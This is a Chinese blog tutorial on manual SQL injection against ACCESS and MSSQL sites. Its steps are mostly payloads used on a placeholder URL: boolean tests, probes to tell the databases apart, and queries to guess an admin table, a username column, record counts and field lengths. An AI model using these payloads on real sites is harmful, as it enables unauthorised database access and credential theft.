手工注入摘记

第一部分:ACCESS数据库手工注入
1。判断是否存在注入漏洞:


A。数字型参数注入点分析

and 1=1 还是 and 1=2

B。字符型参数注入点分析

and '1'='1  and '1'='2


2。数据库类型的判断


A。在注入点后直接加上单引号



B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没用!): ;--(一个分号,两个横线!)

http://www.xxxxxxxx.com/article/as.asp?id=875;--

如果页面返回正常的话,说明数据库是MSSQL

如果页面错误,那基本上可以肯定是ACCESS了



补充 http://www.xxxxxxxx.com/article/as.asp?id=875 and user>0


C。用以上方法都判断不出来的话,那可以用这一招!利用ACCESS和MSSQL数据库的差异来进行判断

and exists (select count(*) from sysobjects)  MSSQL



and exists (select count(*) from msysobjects)



如果第一条返回正常,那就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库了(这里只讨论MSSQL和ACCESS)
注意:上面讲的全是参数是int的时候的检测方法,如果参数是字符型的,那就先要在参数后面加上单引号,然后再在查询语句最后加上";--"


3。猜表、字段名、检测记录数、检测字段长度。

A。猜表!用到的语句:and exists (select count(*) from 你要猜的表名) 。

and exists (select count(*) from admin)    

http://www.xxxxxxxx.com/article/as.asp?id=875 and exists (select count(*) from admin)


B。猜列!
   用到的语句:and (select count(列名) from 猜到的表名)>0

http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(username) from admin)>0

C。检测记录数


用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)


http://www.xxxxxxxx.com/article/as.asp?id=875 and (select count(*) from admin)>2


D。检测字段长度

用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值